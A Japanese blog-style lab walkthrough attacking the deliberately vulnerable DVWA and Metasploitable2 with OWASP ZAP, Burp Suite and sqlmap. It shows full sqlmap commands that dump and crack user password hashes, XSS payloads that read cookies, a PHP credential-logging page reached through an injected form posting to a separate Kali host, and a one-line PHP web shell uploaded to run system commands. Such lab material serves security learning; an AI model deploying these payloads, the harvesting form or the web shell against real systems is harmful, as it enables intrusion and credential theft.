OWASP ZAP

OWASP ZAP Zed Attack Proxy | OWASP
OWASP Japan Local Chapter Meetup | OWASP Foundation

オープンソースウェブアプリケーション脆弱性診断ツール。 WEBアプリケーションのセキュリティに対するガイドやツールを公開している、OWASP(Open Web Application Security Project)が開発している。

起動

root@kali:~# owasp-zap
Found Java version 11.0.5
Available memory: 3946 MB
Using JVM args: -Xmx986m
427 [main] INFO org.zaproxy.zap.GuiBootstrap  - OWASP ZAP 2.8.1 started 03/11/2019, 22:48:35 with home /root/.ZAP/
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.zaproxy.zap.GuiBootstrap (file:/usr/share/zaproxy/zap-2.8.1.jar) to field sun.awt.X11.XToolkit.awtAppClassName
WARNING: Please consider reporting this to the maintainers of org.zaproxy.zap.GuiBootstrap
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
……

ライセンス規約を読んで「Accept」

f:id:hirose-test:20191103225422j:plain

検査記録の保存方法。今回は「継続的に保存せず、必要に応じてセッションを保存」にした。

f:id:hirose-test:20191103225805j:plain

クイックスキャン

色々な検査方法があるが、とりあえずクイックスキャンをかけてみる。

f:id:hirose-test:20191104013354j:plain

「攻撃対象URL」に DVWA の IPアドレスを記載し「攻撃」をクリック。

f:id:hirose-test:20191104013412j:plain

最初に「スパイダー」がサイトをクロールしてウェブページ一覧を取得する。

f:id:hirose-test:20191104013537j:plain

続けて見つけたページに対しての動的スキャンが始まる。

f:id:hirose-test:20191104014946j:plain

完了

f:id:hirose-test:20191104015200j:plain

ただクイックスキャンではDVWAにログインはせず、今回はセキュリティレベルの設定もしておらず High のままなので検出できた脆弱性は限られる。

DVWAのセキュリティレベルを Low に変更

DVWA 初期設定

手動巡回

自動で巡回できなかった部分(ログイン)などを自分で見て回りZAP に記録(静的スキャン)後、再スキャンをかけるのがよい。

DVWA(Firefox)のプロキシを OWASP-ZAP に変更する

f:id:hirose-test:20191027220324j:plain

127.0.0.1 または localhost

f:id:hirose-test:20191104101420j:plain

OWASP-ZAP 側のプロキシ設定。こちらも 127.0.0.1 または localhost

f:id:hirose-test:20191104030913j:plain

これで ブラウザで DVWA を閲覧する際の通信が OWASP-ZAP を経由する。

ページを見て回る

f:id:hirose-test:20191104103816j:plain

f:id:hirose-test:20191104103835j:plain

firefox により警告が入る。無視してログイン。

The owner of zap has configured their website improperly.
To protect your information from being stolen, Firefox has not connected to this website.
zapの所有者がWebサイトを不適切に設定しています。
情報が盗まれないように、FirefoxはこのWebサイトに接続していません。

f:id:hirose-test:20191104104210j:plain

ページを一つ一つ見て回っていく。それぞれの詳細は他の記事を参考にどうぞ。

f:id:hirose-test:20191104104736j:plain

f:id:hirose-test:20191104104744j:plain

f:id:hirose-test:20191104111926j:plain

サイトの巡回を続ける

f:id:hirose-test:20191104114224j:plain

f:id:hirose-test:20191104114236j:plain

f:id:hirose-test:20191104114244j:plain

f:id:hirose-test:20191104114253j:plain

File Inclusion で ERROR! File Not Found となる場合、DVWAのセキュリティレベルを Low に変更できていないので変更すること。

sqlmap

sqlmap: automatic SQL injection and database takeover tool

SQL Injection に特化したオープンソースの診断ツール。

Metasploitable2 Linux を起動

f:id:hirose-test:20191027221812j:plain

Kali Linux から BurpSuite を起動

root@kali:~# burpsuite

f:id:hirose-test:20191027213119j:plain

f:id:hirose-test:20191027213241j:plain

[Proxy] → [Options]から ローカルホスト(127.0.0.1)の8080ポートでの待ち受けを確認。 参考:以前の記事 Burp Suite

f:id:hirose-test:20191027215203j:plain

[Proxy] → [Intercept]を確認し、[Intercept is on] になっていたらクリックして [Intercept is off] に変更しておく。

ブラウザのプロキシ設定

ブラウザのプロキシ設定からローカルプロキシ(BurpSuite)との接続に変更する。 Kali のブラウザ(Firefox)の右上の [Open menu] → [Preferences] ページの一番下 [Network Proxy]を開く。

f:id:hirose-test:20191027220324j:plain

[Manual proxy configuration] を選択し、HTTP Proxy : 127.0.0.1 Port : 8080 を確認し「OK」をクリックして閉じる。[Preferences]画面も閉じる。

f:id:hirose-test:20191027220611j:plain

DVWA

DVWA の Security Level = low に設定。SQL Injecton ページを開く。
f:id:hirose-test:20191027221956j:plain

Unable to connect と出たら Proxy設定などが間違っている可能性がある。見直すこと。 f:id:hirose-test:20191027222029j:plain

BurpSuite の Intercept 設定を off から [intercept on] に変更。

ブラウザに戻り、User ID に1を入力して [submit] をクリック。通信は BurpSuiteに intercept されて止まるので画面は遷移しない。

f:id:hirose-test:20191027234956j:plain

BurpSuite に戻るとキャプチャされた通信が表示されている。sqlmap を使う際に Cookie の値が必要になるので、コピペして保存しておく。

f:id:hirose-test:20191027223958j:plain

f:id:hirose-test:20191027224010j:plain

保存したら [Foward] をクリックして、この通信は一旦流しておく。

f:id:hirose-test:20191027224308j:plain

通信が流れたのでデータが通常通り表示された。 f:id:hirose-test:20191027224325j:plain

[Intercept on] → [Intercept off] に変更してキャプチャも解除しておく。

f:id:hirose-test:20191027224522j:plain

sqlmap

新規ターミナルを開き、下記の通りコマンドを入力して実行(パラメータは自分の環境に合わせる)

root@kali:~# sqlmap -u "http://192.168.56.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --proxy="http://127.0.0.1:8080" --cookie="security=low; PHPSESSID=571e31e0458c5bdb45e6e63e001bfbf7" --dbs

f:id:hirose-test:20191028000716j:plain

所々で質問が出てくるので返答は Y(Yes)で。その後、しばし待つ。

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.10#stable}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:52:00 /2019-10-27/

[22:52:00] [INFO] testing connection to the target URL
[22:52:00] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:52:00] [INFO] testing if the target URL content is stable
[22:52:01] [INFO] target URL content is stable
[22:52:01] [INFO] testing if GET parameter 'id' is dynamic
[22:52:01] [WARNING] GET parameter 'id' does not appear to be dynamic
[22:52:01] [INFO] heuristics detected web page charset 'ascii'
[22:52:01] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:52:01] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[22:52:01] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
 ~(中略)~
[23:05:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:05:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:05:52] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[23:06:04] [WARNING] GET parameter 'Submit' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 3290 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 5331=5331#&Submit=Submit

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND ROW(8931,1249)>(SELECT COUNT(*),CONCAT(0x717a627871,(SELECT (ELT(8931=8931,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM (SELECT 6706 UNION SELECT 1852 UNION SELECT 1647 UNION SELECT 5861)a GROUP BY x)-- dPtg&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1244 FROM (SELECT(SLEEP(5)))rLxE)-- hfJy&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x717a627871,0x764f557a54517648536376706a4a4b7441767955477347466868636b584371666d514e426c487a44,0x717a6b7171),NULL#&Submit=Submit
---
[23:06:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[23:06:04] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

[23:06:04] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.105'

[*] ending @ 23:06:04 /2019-10-27/

データベース一覧が表示された。

Google 翻訳

[!]法的免責事項:事前の相互同意なしにターゲットを攻撃するためのsqlmapの使用は違法です。適用されるすべての地方法、州法、および連邦法に従うことは、エンドユーザーの責任です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害について責任を負いません

[*] 22:52:00 / 2019-10-27 /から開始

[22:52:00] [情報] ターゲットURLへの接続をテストしています
[22:52:00] [情報] ターゲットが何らかのWAF / IPSによって保護されているかどうかを確認します
[22:52:00] [情報] ターゲットURLコンテンツが安定しているかどうかのテスト
[22:52:01] [情報] ターゲットURLコンテンツは安定しています
[22:52:01] [情報] GETパラメーター 'id'が動的かどうかのテスト
[22:52:01] [警告] GETパラメーター 'id'は動的ではないようです
[22:52:01] [情報] ヒューリスティックがWebページの文字セット「ascii」を検出しました
[22:52:01] [情報] ヒューリスティック(基本)テストでは、GETパラメーター 'id'が注入可能である可能性があることが示されています(可能性のあるDBMS: 'MySQL')
[22:52:01] [情報] ヒューリスティックXSS)テストは、GETパラメーター「id」がクロスサイトスクリプティングXSS)攻撃に対して脆弱である可能性があることを示しています
[22:52:01] [情報] GETパラメーター 'id'でのSQLインジェクションのテスト
バックエンドDBMSは「MySQL」のようです。他のDBMSに固有のテストペイロードをスキップしますか? [Y / n]
 
残りのテストでは、提供されたレベル(1)およびリスク(1)の値を拡張する「MySQL」のすべてのテストを含めますか? [Y / n]
 
ORブールベースのインジェクションの場合の[警告]、データ取得中に問題が発生した場合は、 '-drop-set-cookie'スイッチの使用を検討してください
GETパラメーター 'id'は脆弱です。他の(もしあれば)をテストし続けますか? [y / N]
 
少なくとも1つの他の(潜在的な)テクニックが見つからない場合は、基本的なUNIONテストのみを実行することをお勧めします。リクエストの数を減らしたいですか? [Y / n]

ヒューリスティクス - Wikipedia

DB dvwa のテーブルを調べる

表示されたDB一覧から一つ選び(dvwa)テーブルを調べてみる

root@kali:~# sqlmap -u "http://192.168.56.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --proxy="http://127.0.0.1:8080" --cookie="security=low; PHPSESSID=571e31e0458c5bdb45e6e63e001bfbf7" -D dvwa --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.10#stable}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:25:27 /2019-10-27/

[23:25:27] [INFO] resuming back-end DBMS 'mysql' 
[23:25:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 5331=5331#&Submit=Submit

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND ROW(8931,1249)>(SELECT COUNT(*),CONCAT(0x717a627871,(SELECT (ELT(8931=8931,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM (SELECT 6706 UNION SELECT 1852 UNION SELECT 1647 UNION SELECT 5861)a GROUP BY x)-- dPtg&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1244 FROM (SELECT(SLEEP(5)))rLxE)-- hfJy&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x717a627871,0x764f557a54517648536376706a4a4b7441767955477347466868636b584371666d514e426c487a44,0x717a6b7171),NULL#&Submit=Submit
---
[23:25:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[23:25:27] [INFO] fetching tables for database: 'dvwa'
[23:25:28] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[23:25:28] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.105'

[*] ending @ 23:25:28 /2019-10-27/

dvwa には [guestbook] [users]という二つのテーブルがあることが分かった。

テーブルのカラム名を調べる

[users]テーブルのカラム名を調べてみる

root@kali:~# sqlmap -u "http://192.168.56.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --proxy="http://127.0.0.1:8080" --cookie="security=low; PHPSESSID=571e31e0458c5bdb45e6e63e001bfbf7" -D dvwa -T users --columns
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.10#stable}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:33:14 /2019-10-27/

[23:33:14] [INFO] resuming back-end DBMS 'mysql' 
[23:33:14] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 5331=5331#&Submit=Submit

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND ROW(8931,1249)>(SELECT COUNT(*),CONCAT(0x717a627871,(SELECT (ELT(8931=8931,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM (SELECT 6706 UNION SELECT 1852 UNION SELECT 1647 UNION SELECT 5861)a GROUP BY x)-- dPtg&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1244 FROM (SELECT(SLEEP(5)))rLxE)-- hfJy&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x717a627871,0x764f557a54517648536376706a4a4b7441767955477347466868636b584371666d514e426c487a44,0x717a6b7171),NULL#&Submit=Submit
---
[23:33:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[23:33:14] [INFO] fetching columns for table 'users' in database 'dvwa'
[23:33:14] [WARNING] reflective value(s) found and filtering out
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+

[23:33:14] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.105'

[*] ending @ 23:33:14 /2019-10-27/

users テーブルのカラム名が表示された。

users と password をダンプしてみる

root@kali:~# sqlmap -u "http://192.168.56.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --proxy="http://127.0.0.1:8080" --cookie="security=low; PHPSESSID=571e31e0458c5bdb45e6e63e001bfbf7" -D dvwa -T users -C user,password --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.10#stable}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:39:58 /2019-10-27/

[23:39:58] [INFO] resuming back-end DBMS 'mysql' 
[23:39:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 5331=5331#&Submit=Submit

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND ROW(8931,1249)>(SELECT COUNT(*),CONCAT(0x717a627871,(SELECT (ELT(8931=8931,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM (SELECT 6706 UNION SELECT 1852 UNION SELECT 1647 UNION SELECT 5861)a GROUP BY x)-- dPtg&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1244 FROM (SELECT(SLEEP(5)))rLxE)-- hfJy&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x717a627871,0x764f557a54517648536376706a4a4b7441767955477347466868636b584371666d514e426c487a44,0x717a6b7171),NULL#&Submit=Submit
---
[23:39:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[23:39:59] [INFO] fetching entries of column(s) '`user`, password' for table 'users' in database 'dvwa'
[23:39:59] [INFO] heuristics detected web page charset 'ascii'
[23:39:59] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[23:39:59] [INFO] used SQL query returns 5 entries
[23:39:59] [INFO] resumed: '1337','8d3533d75ae2c3966d7e0d4fcc69216b'
[23:39:59] [INFO] resumed: 'admin','5f4dcc3b5aa765d61d8327deb882cf99'
[23:39:59] [INFO] resumed: 'gordonb','e99a18c428cb38d5f260853678922e03'
[23:39:59] [INFO] resumed: 'pablo','0d107d09f5bbe40cade3de5c71e9e9b7'
[23:39:59] [INFO] resumed: 'smithy','5f4dcc3b5aa765d61d8327deb882cf99'
[23:39:59] [INFO] recognized possible password hashes in column 'password'                                             
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[23:40:00] [INFO] writing hashes to a temporary file '/tmp/sqlmaphrU0aF2670/sqlmaphashes-X66Wfy.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[23:40:02] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1 (←1を入力またはそのまま Enter)
[23:40:06] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[23:40:10] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[23:40:10] [INFO] starting 2 processes 
[23:40:15] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'                                
[23:40:15] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'                               
[23:40:22] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'                              
[23:40:27] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'                               
Database: dvwa                                                                                                         
Table: users
[5 entries]
+---------+---------------------------------------------+
| user    | password                                    |
+---------+---------------------------------------------+
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+

[23:40:36] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.56.105/dump/dvwa/users.csv'
[23:40:36] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.105'

[*] ending @ 23:40:36 /2019-10-27/

解析できた。

[23:39:59] [情報] 列 'password'で可能なパスワードハッシュを認識しました
ハッシュを一時ファイルに保存して、最終的に他のツールでさらに処理できるようにしますか [y / N]
 
[23:40:00] [情報] 一時ファイル '/tmp/sqlmaphrU0aF2670/sqlmaphashes-X66Wfy.txt'へのハッシュの書き込み辞書ベースの攻撃でそれらをクラックしたいですか? [Y / n / q]
 
[23:40:02] [情報] ハッシュメソッド 'md5_generic_passwd'を使用
 
どの辞書を使いたいですか?
[1] デフォルトの辞書ファイル '/usr/share/sqlmap/data/txt/wordlist.tx_'(Enterキーを押します)
[2] カスタム辞書ファイル
[3] 辞書ファイルのリストを含むファイル
 
[23:40:06] [情報]デフォルト辞書を使用
一般的なパスワードサフィックスを使用しますか? (遅い!)[y / N]

プロキシ設定を「No proxy」に戻しておく。

f:id:hirose-test:20191103230633j:plain

クロスサイト・スクリプティング (XSS) 格納型

安全なウェブサイトの作り方:IPA 独立行政法人 情報処理推進機構
P.22「1.5 クロスサイト・スクリプティング」参照

 検索のキーワードの表示画面や個人情報登録時の確認画面、掲示板、ウェブのログ統計画面等、利用者からの入力内容や HTTP ヘッダの情報を処理し、ウェブページとして出力するものがあります。ここで、ウェブページへの出力処理に問題がある場合、そのウェブページにスクリプト等を埋め込まれてしまいます。

 

クロスサイトスクリプティング - Wikipedia

 格納型(持続型)(Stored)XSSでは、攻撃者は不正なデータDを標的サイトのデータベース、メッセージフォーラム、訪問者のログといったデータストアに保存する[1]。たとえば電子掲示板に格納型XSS脆弱性がある場合、攻撃者は不正なデータDを含んだ書き込みを掲示板に対して行う。すると掲示板システムはDを自身のデータストアに保存し、正規の利用者が掲示板を訪れるたびにDを含んだ書き込みを表示するため、この書き込みを表示した利用者全員がXSSの被害者になりうる。格納型XSSは正規サイトのデータストアそのものに不正なデータを仕込むので、反射型XSSと違い被害者に不正なURLをクリックさせる必要がない事が攻撃者にとっての利点の一つである。

DVWA にログインする

  • Security level = low を確認する
  • 左欄から「XSS stored」を選び Vulnerability: Stored Cross Site Scripting のページに移る

スクリプトを含んだ文字列を掲示板に投稿する。

<script>alert('XSS')</script>

f:id:hirose-test:20191023224026j:plain

f:id:hirose-test:20191023224037j:plain

クロスサイト・スクリプティングが実行される。
(『Message: Click Here』の部分はCSRFの方で試したもの)

Stored型 XSSとして、今後は掲示板を開くたびにスクリプトが実行される。被害者にリンクをクリックさせる必要はない。

f:id:hirose-test:20191023224232j:plain

左メニューの [Setup] から [Create / Reset Database] をクリックすることでDVWAをリセットできる。

f:id:hirose-test:20191023224831j:plain

internet.watch.impress.co.jp

クロスサイト・スクリプティング (XSS) 反射型

安全なウェブサイトの作り方:IPA 独立行政法人 情報処理推進機構
P.22「1.5 クロスサイト・スクリプティング」参照

 検索のキーワードの表示画面や個人情報登録時の確認画面、掲示板、ウェブのログ統計画面等、利用者からの入力内容や HTTP ヘッダの情報を処理し、ウェブページとして出力するものがあります。ここで、ウェブページへの出力処理に問題がある場合、そのウェブページにスクリプト等を埋め込まれてしまいます。

 

クロスサイトスクリプティング - Wikipedia

 反射型(Reflected)XSSでは、攻撃者は不正なデータDをWebページPのURLなどに仕込んでおり、Dが原因でWebアプリケーションが作るPのhtml本文などに悪意のあるスクリプトが含まれる。被害者がWebページPのURLをクリックすると、Pの内容とともに悪意のあるスクリプトが被害者のブラウザに送信され、ブラウザ上で悪意のあるスクリプトが実行される事で被害が生じる。したがって攻撃者が反射型XSS脆弱性を利用するには、被害者をPに誘導する方法を別途考える必要がある。
 反射型XSSにおいて攻撃者が被害者をWebページPに誘導する方法は主に2つある[11]。第一の方法は、標的サイトとは別のWebサイト(公開掲示板や攻撃者自身のWebサイトなど)にPのURLを張り、被害者がPへのリンクをクリックするのを待つ方法である。第二の方法は標的サイトを装って被害者にメールし、そのメール本文にPのURLを記載することで、被害者がPを閲覧するのを期待する方法である。

DVWA にログインする

  • Security level = low を確認する
  • 左欄から「XSS reflected」を選び Vulnerability: Reflected Cross Site Scripting のページに移る

What's your name? とあるので、適当に入力し Submit を押してみる

f:id:hirose-test:20191022212058j:plain

次に、スクリプトを含んだ文字列を入力してみる。

<script>alert('XSS')</script>

window.alert - Web API | MDN

f:id:hirose-test:20191022212534j:plain

クロスサイト・スクリプティングが発生する。

次に、Cookie を表示させてみる。Cookie はウェブページなどでブラウザに情報を保存するための仕組みの一つ。ログイン状態を示す情報を保存したり、サイトの機能に対する設定を保存するなど様々な使い方をされている。

<script>alert(document.cookie)</script>

Document.cookie - Web API | MDN

f:id:hirose-test:20191022213911j:plain

Cookie が取得された。

フィッシングサイトを構築してユーザーIDとパスワードの取得を試みる

1.Kali Linux 上にフィッシングサイトを構築する

root@kali:~# cd /var/www/html/  
root@kali:/var/www/html# vim phishing.php
<?php
$login=$_POST['username'];
$password=$_POST['password'];
$open=fopen('log.html','a+');
fputs($open,'Login:'.$login.'<br>'.'Password:'.$password.'<br>');
?>
root@kali:/var/www/html# ls
index.html  index.nginx-debian.html  phishing.php  shell.html

2.上記サイトで取得したユーザーIDとパスワードを保存するログサイトを作成する。

権限を変更して、Apacheの再起動。

root@kali:/var/www/html# touch log.html
root@kali:/var/www/html# chmod 666 log.html 
root@kali:/var/www/html# service apache2 restart

3.クロスサイト・スクリプティングを利用して、フィッシングサイトにユーザーIDとパスワードを送信するフォームデータを作成する。

<form action="http://192.168.56.108/phishing.php" method="post">
Username:<input type="text" name="username"/><br/>
Password:<input type="password" name="password"/><br/>
<input type="submit" value="Submit"/>

XSSフォームの入力欄に張り付けて、Submit。(うまくいかない場合などは、ページを再度開き直してから試してみてください)
ユーザーネームとパスワードの入力を促されるので、適当に入力して Submit。

f:id:hirose-test:20191022221343j:plain

f:id:hirose-test:20191022221813j:plain

入力したユーザーIDとパスワードがフィッシングサイトに送信されたか確認する。

f:id:hirose-test:20191022221826j:plain

保存されている。

File Upload 攻撃

ファイルをアップロードできるサービスにおいて、悪意のあるファイルをアップロードし、そのファイルにアクセスすることによって情報を抜き出したりする攻撃。

DVWA にログインする

  • Security level = low を確認する
  • 左欄から「Upload」を選び Vulnerability: File Upload のページに移る

Kali の端末を開いて、アップロードする「悪意のあるファイル」を作成する

root@kali:~# vim shell.php
<?php
system($_GET[cmd]);
?>
// GETリクエストの受け取り。スーパーグローバル変数 $_GET['param'] // system() 指定した外部プログラムを実行し、結果を出力する

GET メソッド
一番簡単にデータをやり取りする方法
URL の末尾に「?」を付け、「パラメータ名 = 値」という形式でデータを付与する。 f:id:hirose-test:20190920203632j:plain

PHP - system
PHP - $_GET
PHP - HTML フォーム (GET と POST)

DVWA のファイルアップロード画面に戻り [Browse...] をクリックし、作成したファイル shell.php を選択する。
[Upload] をクリックする

f:id:hirose-test:20190920195350j:plain
f:id:hirose-test:20190920195401j:plain
f:id:hirose-test:20190920195433j:plain

アップロードされたディレクトリが表示されるので、一度表示してみる

f:id:hirose-test:20190920195936j:plain
f:id:hirose-test:20190920195952j:plain

作成されたファイルがアップロードされていることが分かる。その shell.php をクリック f:id:hirose-test:20190920200355j:plain

実際にコマンドを指定してみる uname -a(Metasploitable2 のシステム情報の表示)
f:id:hirose-test:20190920200412j:plain

次に cat でパスワードファイルを表示してみる
f:id:hirose-test:20190920200627j:plain

このように、どんなファイルでもアップロードできてしまうサイトは、悪意のあるファイルを利用して情報を抜き取られる。

/* -----codeの行番号----- */